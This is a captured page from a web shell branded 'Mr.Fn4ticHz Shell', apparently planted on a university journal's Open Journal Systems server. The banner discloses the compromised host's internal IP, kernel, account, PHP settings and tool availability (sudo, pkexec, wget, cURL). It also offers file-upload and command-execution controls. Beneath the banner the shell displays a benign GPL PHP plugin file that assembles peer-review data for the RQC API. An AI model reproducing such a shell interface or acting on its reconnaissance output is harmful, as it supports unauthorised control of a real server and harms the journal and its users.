Mr.Fn4ticHz Shell
Server IP : 10.10.92.66  /  Your IP : 104.23.243.85
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : jurnal ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/jurnal/public_html/plugins/generic/rqc/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/jurnal/public_html/plugins/generic/rqc/classes/RqcData.inc.php
<?php

/**
 * @file plugins/generic/rqc/classes/RqcData.inc.php
 *
 * Copyright (c) 2018-2023 Lutz Prechelt
 * Distributed under the GNU General Public License, Version 3.
 *
 * @class RqcData
 * @ingroup plugins_generic_rqc
 *
 * @brief Compute the JSON-like contents of a call to the RQC API.
 */


/* for OJS 3.4:
namespace APP\plugins\generic\rqc;
use PKP\db\DAORegistry;
use PKP\plugins\PluginRegistry;
use PKP\security\Role;
use PKP\site\VersionCheck;
*/
import('classes.workflow.EditorDecisionActionsManager');  // decision action constants
import('lib.pkp.classes.core.PKPPageRouter');
import('lib.pkp.classes.site.VersionCheck');
import('plugins.generic.rqc.classes.RqcDevHelper');

/**
 * Class RqcData.
 * Builds the data object to be sent to the RQC server from the various pieces of the OJS data model:
 * submission, authors, editors, reviewers and reviews, active user, decision, etc.
 */
class RqcData extends RqcDevHelper
{

	const CONFIDENTIAL_FIELD_REGEXP = '/[Cc]onfidential/';  // review form fields with such names are excluded

	function __construct() {
		// $this->plugin = PluginRegistry::getPlugin('generic', 'rqcplugin');
		parent::__construct();
	}

	/**
	 * Build PHP array with the data for an RQC call to be made.
	 * if $request is null, interactive_user and mhs_submissionpage are transmitted as "".
	 */
	function rqcdata_array($request, $contextId, $submissionId): array
	{
		$contextDao = Application::getContextDAO();
		$reviewRoundDao = DAORegistry::getDAO('ReviewRoundDAO');
		$submissionDao = DAORegistry::getDAO('SubmissionDAO');
		//----- prepare processing:
		$journal = $contextDao->getById($contextId);
		$submission = $submissionDao->getById($submissionId);
		$data = array();
		//----- fundamentals:
		$data['interactive_user'] = $request ? $this->get_interactive_user($request) : "";
		$data['mhs_submissionpage'] = $request ? $this->get_mhs_submissionpage($request, $submissionId) : "";


		//----- submission data:
		$lastReviewRound = $reviewRoundDao->getLastReviewRoundBySubmissionId($submissionId);
		$reviewroundN = $lastReviewRound->getRound();
		$data['visible_uid'] = $this->get_uid($journal, $submission, $reviewroundN);  // user-facing pseudo ID
		$data['external_uid'] = $this->get_uid($journal, $submission, $reviewroundN, true);  // URL-friendly version.
        $data['title'] = $this->get_title($submission->getTitle(null));
        $alldata = $submission->getAllData();
		$data['submitted'] = rqcify_datetime($alldata['dateSubmitted']);
		// assume that round $reviewroundN-1 exists (but it may not!!!):

		//----- authors, editor assignments, reviews, decision:
        $data['author_set'] = $this->get_author_set($submission->getAuthors());
        $data['edassgmt_set'] = $this->get_editorassignment_set($submissionId);
        $data['review_set'] = $this->get_review_set($submissionId, $lastReviewRound);
        $data['decision'] = $this->get_decision($lastReviewRound);

		return $data;
	}

	/**
	 * Return linear array of RQC-ish attachment objects.
	 */
	protected static function get_attachment_set($reviewerSubmission): array
	{
		$reviewFilesDao = DAORegistry::getDAO("ReviewFilesDAO");
		$submissionFileDao = DAORegistry::getDAO("SubmissionFileDAO");
		$result = array();  // TODO 1: get attachments
		/* getting attachments is not for the faint-of-heart:
		   $reviewerSubmission.reviewer_file_id points to
		   table review_files with attr submission_file_id which points to
		   table submission_file with attr file_id which points to
		   table file with attr path in dir files_dir from config.inc.php.
		   In case you want a filename (the path in file is a hash value),
		   just look in submission_file_settings, which are I18Ned.
		   However, ReviewFilesDAO has no retrieval op?
		*/
		return $result;
	}

	/**
	 * Return linear array of RQC-ish author objects.
	 */
	protected static function get_author_set($authorsobjects): array
	{
		$result = array();
		foreach ($authorsobjects as $authorobject) {
			if (!(bool)$authorobject->getIncludeInBrowse())  // TODO 2: correct like this?
				continue;  // skip non-corresponding authors
			$rqcauthor = array();
			$rqcauthor['email'] = $authorobject->getEmail();
			$rqcauthor['firstname'] = get_nonlocalized_attr($authorobject, "getGivenName");
			$rqcauthor['lastname'] = get_nonlocalized_attr($authorobject, "getFamilyName");
			$rqcauthor['order_number'] = (int)($authorobject->getSequence());
			$rqcauthor['orcid_id'] = get_orcid_id($authorobject->getOrcid());
			$result[] = $rqcauthor;
		}
		return $result;
	}

    /**
     * Return RQC-style decision string.
     * The data is found in EditDecision objects. There can be multiple ones, from different editors.
     * Some describe recommendations, others decisions.
     * We use decisions only and return an 'unknown' if there are only recommendations.
     * We simply use the first decision we see.
     */
    protected function get_decision($reviewRound): string
	{
        // See EditDecisionDAO->getEditorDecisions, $this->rqc_decision
		$editDecisionDao = DAORegistry::getDAO('EditDecisionDAO');
		$rr = $reviewRound;
        $editorDecisions = $editDecisionDao->getEditorDecisions(
            $rr->getSubmissionId(), $rr->getStageId(), $rr->getRound());
        foreach ($editorDecisions as $decision) {
            $result = $this->rqc_decision("editor", $decision['decision']);
            if ($result) {  // use the first non-undefined decision
                return $result;
            }
        }
        return "";  // only recommendations found, no decisions
    }

	/**
	 * Return linear array of RQC editorship descriptor objects.
	 */
	protected function get_editorassignment_set($submissionId): array
	{
		$stageAssignmentDao = DAORegistry::getDAO('StageAssignmentDAO');
		$userDao = DAORegistry::getDAO('UserDAO');
		$userGroupDao = DAORegistry::getDAO('UserGroupDAO');
		$result = array();
		$iter = $stageAssignmentDao->getBySubmissionAndStageId($submissionId,
			WORKFLOW_STAGE_ID_EXTERNAL_REVIEW);
		$level1N = 0;
		foreach ($iter->toArray() as $stageassign) {
			$assignment = array();
			$user = $userDao->getById($stageassign->getUserId());
			$userGroup = $userGroupDao->getById($stageassign->getUserGroupId());
			$role = $userGroup->getRoleId();
			$levelMap = array(ROLE_ID_MANAGER => 3,  // OJS 3.4: use prefix Role:: to find the constants
                ROLE_ID_SUB_EDITOR => 1);
			$level = $levelMap[$role] ?? 0;
			if (!$level)
				continue;  // irrelevant role, skip stage assignment entry
			elseif ($level == 1)
				$level1N++;
            $assignment['level'] = $level;
            $assignment['email'] = $user->getEmail();
			$assignment['firstname'] = get_nonlocalized_attr($user, "getGivenName");
			$assignment['lastname'] = get_nonlocalized_attr($user, "getFamilyName");
            $assignment['orcid_id'] = get_orcid_id($user->getOrcid());
            $result[] = $assignment;  // append
		}
		if (!$level1N && count($result)) {
			// there must be at least one level-1 editor:
			$result[0]['level'] = 1;
		}
		return $result;
	}

	/**
	 * Return emailaddress of current user or "" if this is not an interactive call.
	 * The adapter needs to hope this same address is registered with RQC as well.
	 */
	protected static function get_interactive_user($request)
	{
		$user = $request->getUser();
		return $user ? $user->getEmail() : "";
	}

	/**
	 * Return the URL to which RQC should redirect after grading.
	 */
	protected function get_mhs_submissionpage(PKPRequest $request, int $submissionId)
	{
		return $request->url(null, 'workflow', 'index',
			array($submissionId, WORKFLOW_STAGE_ID_EXTERNAL_REVIEW));
	}

	/**
	 * Return linear array of RQC review descriptor objects.
	 * Would formerly use ReviewerSubmission::getMostRecentPeerReviewComment for the review text.
	 * As of 3.3, there are two cases:
	 * case 1) with configured ReviewForm (using ReviewFormElement, ReviewFormResponses),
	 * case 2) default review data structure (using SubmissionComment).
	 * See PKPReviewerReviewStep3Form::saveReviewForm() for details.
	 */
	protected function get_review_set($submissionId, $reviewRound): array
	{
		$reviewAssignmentDao = DAORegistry::getDAO('ReviewAssignmentDAO');
		$reviewerSubmissionDao = DAORegistry::getDAO('ReviewerSubmissionDAO');
		$userDao = DAORegistry::getDAO('UserDAO');
		$result = array();
		$reviewRoundN = $reviewRound->getRound();
		$assignments = $reviewAssignmentDao->getBySubmissionId($submissionId, $reviewRoundN-1);
		foreach ($assignments as $reviewId => $reviewAssignment) {
			if ($reviewAssignment->getRound() != $reviewRoundN ||
				$reviewAssignment->getStageId() != WORKFLOW_STAGE_ID_EXTERNAL_REVIEW)
				continue;  // irrelevant record, skip it.
			$rqcreview = array();  // will become one entry in the result set
			$reviewerSubmission = $reviewerSubmissionDao->getReviewerSubmission($reviewId);
			//--- review metadata:
			$rqcreview['visible_id'] = $reviewId;
			$rqcreview['invited'] = rqcify_datetime($reviewAssignment->getDateNotified());
			$rqcreview['agreed'] = rqcify_datetime($reviewAssignment->getDateConfirmed());
			$rqcreview['expected'] = rqcify_datetime($reviewAssignment->getDateDue());
			$rqcreview['submitted'] = rqcify_datetime($reviewAssignment->getDateCompleted());
			//--- review text:
			$reviewFormId = $reviewAssignment->getReviewFormId();
			if ($reviewFormId) {  // case 1
				$reviewtext = $this->getReviewTextFromForm($reviewerSubmission, $reviewFormId);
				$is_html = false;  // TODO 2: is there really no way to get HTML here?
			} else {  // case 2
				$reviewtext = $this->getReviewTextDefault($reviewAssignment);
				$is_html = true;
			}
			$rqcreview['text'] = $reviewtext;
			$rqcreview['is_html'] = $is_html;
			$rqcreview['attachment_set'] = $this->get_attachment_set($reviewerSubmission);
			$recommendation = $reviewAssignment->getRecommendation();
            $rqcreview['suggested_decision'] = $recommendation ? $this->rqc_decision("reviewer", $recommendation) : "";
			//--- reviewer:
			$reviewerobject = $userDao->getById($reviewAssignment->getReviewerId());
			$rqcreviewer = array();
			$rqcreviewer['email'] = $reviewerobject->getEmail();
			$rqcreviewer['firstname'] = get_nonlocalized_attr($reviewerobject, "getGivenName");
			$rqcreviewer['lastname'] = get_nonlocalized_attr($reviewerobject, "getFamilyName");
			$rqcreviewer['orcid_id'] = get_orcid_id($reviewerobject->getOrcid());
			$rqcreview['reviewer'] = $rqcreviewer;
			$result[] = $rqcreview;  // append
		}
		return $result;
	}


	/**
	 * Obtain what is to be considered the text of the review for case 1.
	 * Goes through the review form elements,
	 * works on the REVIEW_FORM_ELEMENT_TYPE_TEXTAREA fields only,
	 * producing a stretch of output text for each, using
	 * 1. the element's name as a heading and
	 * 2. the corresponding ReviewFormResponse's value as body.
	 */
	protected function getReviewTextFromForm(ReviewerSubmission $reviewerSubmission, int $reviewFormId): string
	{
		$reviewFormElementDao = DAORegistry::getDAO('ReviewFormElementDAO');
		$reviewFormResponseDao = DAORegistry::getDAO('ReviewFormResponseDAO');
		$reviewId = $reviewerSubmission->getReviewId();
		$reviewFormElements = $reviewFormElementDao->getByReviewFormId($reviewFormId);
		$result = "";
		while ($reviewFormElement = $reviewFormElements->next()) {
			$this->_print("### reviewFormElement.elementType=" . $reviewFormElement->getElementType() .
				"  included='". $reviewFormElement->getIncluded() . "'\n");
			if ($reviewFormElement->getElementType() == REVIEW_FORM_ELEMENT_TYPE_TEXTAREA &&
					$reviewFormElement->getIncluded()) {
				$reviewFormElementId = $reviewFormElement->getId();
				$elementTitle = $reviewFormElement->getQuestion('en_US');  // may have HTML tags!
				$elementTitle = str_replace('<p>', '', $elementTitle);
				$elementTitle = str_replace('</p>', '', $elementTitle);
				$responseElement = $reviewFormResponseDao->getReviewFormResponse($reviewId, $reviewFormElementId);
				$responseText = $this->cleanPlaintextTextarea($responseElement->getValue());
				if (!preg_match(self::CONFIDENTIAL_FIELD_REGEXP, $elementTitle)) {
					$result .= "\n### $elementTitle\n\n$responseText\n\n";  // plain-text-format this element
				}
			}
		}
		return $result;
	}

	/**
	 * Obtain what is to be considered the text of the review for case 2.
	 */
	protected function getReviewTextDefault(ReviewAssignment $reviewAssignment): string
	{
		$submissionCommentDao = DAORegistry::getDAO('SubmissionCommentDAO');
		/* @var $submissionCommentDao SubmissionCommentDAO */
		$viewableOnly = true;  // will automatically skip confidential comment
		$submissionComments = $submissionCommentDao->getReviewerCommentsByReviewerId(
			$reviewAssignment->getSubmissionId(),
			$reviewAssignment->getReviewerId(), $reviewAssignment->getId(), $viewableOnly);
		$result = "";
		while($submissionComment = $submissionComments->next()) {
			if ($submissionComment->getCommentType() != COMMENT_TYPE_PEER_REVIEW) {
				continue;  // irrelevant record, skip it
			}
			$title = $submissionComment->getCommentTitle();  // will be empty
			$body = $submissionComment->getComments();
			$result .= ($title ? "\n<div>$title</div>\n\n$body\n\n" : "\n$body\n");

		}
		return str_replace("\r", '', $result);  // may contain CR LF, we want only LF
	}

	/**
	 * Get first english title if one exists or all titles otherwise.
	 * @param array $all_titles  mapping from locale name to title string
	 */
	protected static function get_title(array $all_titles): string
	{
		return englishest($all_titles, true);
	}

	/**
	 * Get visible_uid or submission_id for given round.
	 * First round is 1;
	 * if round is 0 (for a non-existing predecessor), return "".
	 * We could use $lastReviewRound->getId(), but don't.
	 */
     protected static function get_uid($journal, $submission, $round, $for_url=false): string
	 {
		if ($round == 0) {
			return "";
		} else {
			$journalname = $journal->getPath();
			$submission_id = $submission->getId();
			if ($for_url) {
				// TODO 3: beware: The following _could_ be non-unique and so not in fact a uid
				$journalname = preg_replace('/[^a-z0-9-_.:()-]/i', '_', $journalname);
			}
			return sprintf($round == 1 ? "%s-%s" : "%s-%s.R%d",
				$journalname, $submission_id, $round);
		}
	}

    /**
     * Helper: Translate OJS recommendations and decisions into RQC decisions.
     * For editors, we use decisions only and return unknown for recommendations.
     */
    protected static function rqc_decision($role, $ojs_decision)
	{
        $reviewerMap = array(
            // see lib.pkp.classes.submission.reviewAssignment.ReviewAssignment
            // the values are 1,2,3,4,5,6
            0 => "",
            SUBMISSION_REVIEWER_RECOMMENDATION_ACCEPT => "ACCEPT",
            SUBMISSION_REVIEWER_RECOMMENDATION_PENDING_REVISIONS => "MINORREVISION",
            SUBMISSION_REVIEWER_RECOMMENDATION_RESUBMIT_HERE => "MAJORREVISION",
            SUBMISSION_REVIEWER_RECOMMENDATION_RESUBMIT_ELSEWHERE => "REJECT",
            SUBMISSION_REVIEWER_RECOMMENDATION_DECLINE => "REJECT",
            SUBMISSION_REVIEWER_RECOMMENDATION_SEE_COMMENTS => "MAJORREVISION",  // generic guess!!!
        );
        $editorMap = array(
            // see classes.workflow.EditorDecisionActionsManager
            0 => "",
            SUBMISSION_EDITOR_RECOMMEND_ACCEPT => "",
            SUBMISSION_EDITOR_RECOMMEND_DECLINE => "",
            SUBMISSION_EDITOR_RECOMMEND_PENDING_REVISIONS => "",
            SUBMISSION_EDITOR_RECOMMEND_RESUBMIT => "",
            SUBMISSION_EDITOR_DECISION_ACCEPT => "ACCEPT",
            SUBMISSION_EDITOR_DECISION_SEND_TO_PRODUCTION => "ACCEPT",
            SUBMISSION_EDITOR_DECISION_INITIAL_DECLINE => "REJECT",  // probably never relevant
            SUBMISSION_EDITOR_DECISION_DECLINE => "REJECT",
            SUBMISSION_EDITOR_DECISION_PENDING_REVISIONS => "MINORREVISION",
            SUBMISSION_EDITOR_DECISION_RESUBMIT => "MAJORREVISION",
            SUBMISSION_EDITOR_DECISION_NEW_ROUND => "MAJORREVISION",
        );
        if ($role == "reviewer")
            return $reviewerMap[$ojs_decision];
        elseif ($role == "editor")
            return $editorMap[$ojs_decision];
        else
            assert(False, "rqc_decision: wrong role " . $role);
    }

	/**
	 * Helper: Remove possible unwanted properties from text coming from textarea fields.
	 */
	protected static function cleanPlaintextTextarea($text): string
	{
		return str_replace("\r", '', $text);  // may contain CR LF, we want only LF
	}
}


class RqcOjsData {
	/**
	 * Helper: Discriminate decisions from recommendations.
	 */
	public static function is_decision($ojs_decision): bool
	{
		switch ($ojs_decision) {
			case SUBMISSION_EDITOR_DECISION_ACCEPT:
			case SUBMISSION_EDITOR_DECISION_DECLINE:
			case SUBMISSION_EDITOR_DECISION_INITIAL_DECLINE:
			case SUBMISSION_EDITOR_DECISION_PENDING_REVISIONS:
			case SUBMISSION_EDITOR_DECISION_RESUBMIT:
				return true;
		}
		return false;  // everything else isn't
	}
}

/**
 * Helper: Get first english entry if one exists or else:
 * all entries in one string if $else_all or
 * the entry of the alphabetically first locale otherwise.
 * @param array $all_entries  mapping from locale name to string
 */
function englishest(array $all_entries, $else_all=false)
{
	$all_nonenglish_locales = array();
	foreach ($all_entries as $locale => $entry) {
		if (substr($locale, 0, 2) === "en") {
			return $entry;  // ...and we're done!
		}
		$all_nonenglish_locales[] = $locale;
	}
	// no en locale found. Return first-of or all others, sorted by locale:
	sort($all_nonenglish_locales);
	$all_nonenglish_entries = array();
	foreach ($all_nonenglish_locales as $locale) {
		$all_nonenglish_entries[] = $all_entries[$locale];
	}
	if ($else_all) {
		return implode(" / ", $all_nonenglish_entries);
	} else {
		return $all_nonenglish_entries[0];
	}
}

/**
 * Helper: Obtain an attribute value in the most sensible localized version we can identify:
 * RQC_LOCALE if possible, the englishest available one otherwise.
 */
function get_nonlocalized_attr($obj, $functionname): string
{
	$result = $obj->$functionname(RQC_LOCALE);  // get preferred value
	if (!$result) {  // get random first value from full localized list of attribute values
		$all_localized_attrs = $obj->$functionname(null);
		// $result = $all_localized_attrs[array_key_first($all_localized_attrs)];
		$result = englishest($all_localized_attrs);
	}
	if (!$result)  // avoid null results
		$result = "";
	return $result;
}


/**
 * Helper: Obtain the ORCID ID number from an ORCID URL as stored in OJS.
 */
function get_orcid_id($orcid_url): string
{
	$pattern = '/(https?:\/\/\w+\.\w+\/)?(\d+-\d+-\d+-\d+)/';
	$success = preg_match($pattern, $orcid_url, $match);
	return $success ? $match[2] : "";
}



/**
 * Helper: Transform timestamp format to RQC convention.
 */
function rqcify_datetime($ojs_datetime): string
{
	if (!$ojs_datetime) {
		return "";
	}
	$result = str_replace(" ", "T", $ojs_datetime);
	return $result . "Z";
}

Mr.F4ticHz - 2022
Mr.Fn4tcHzam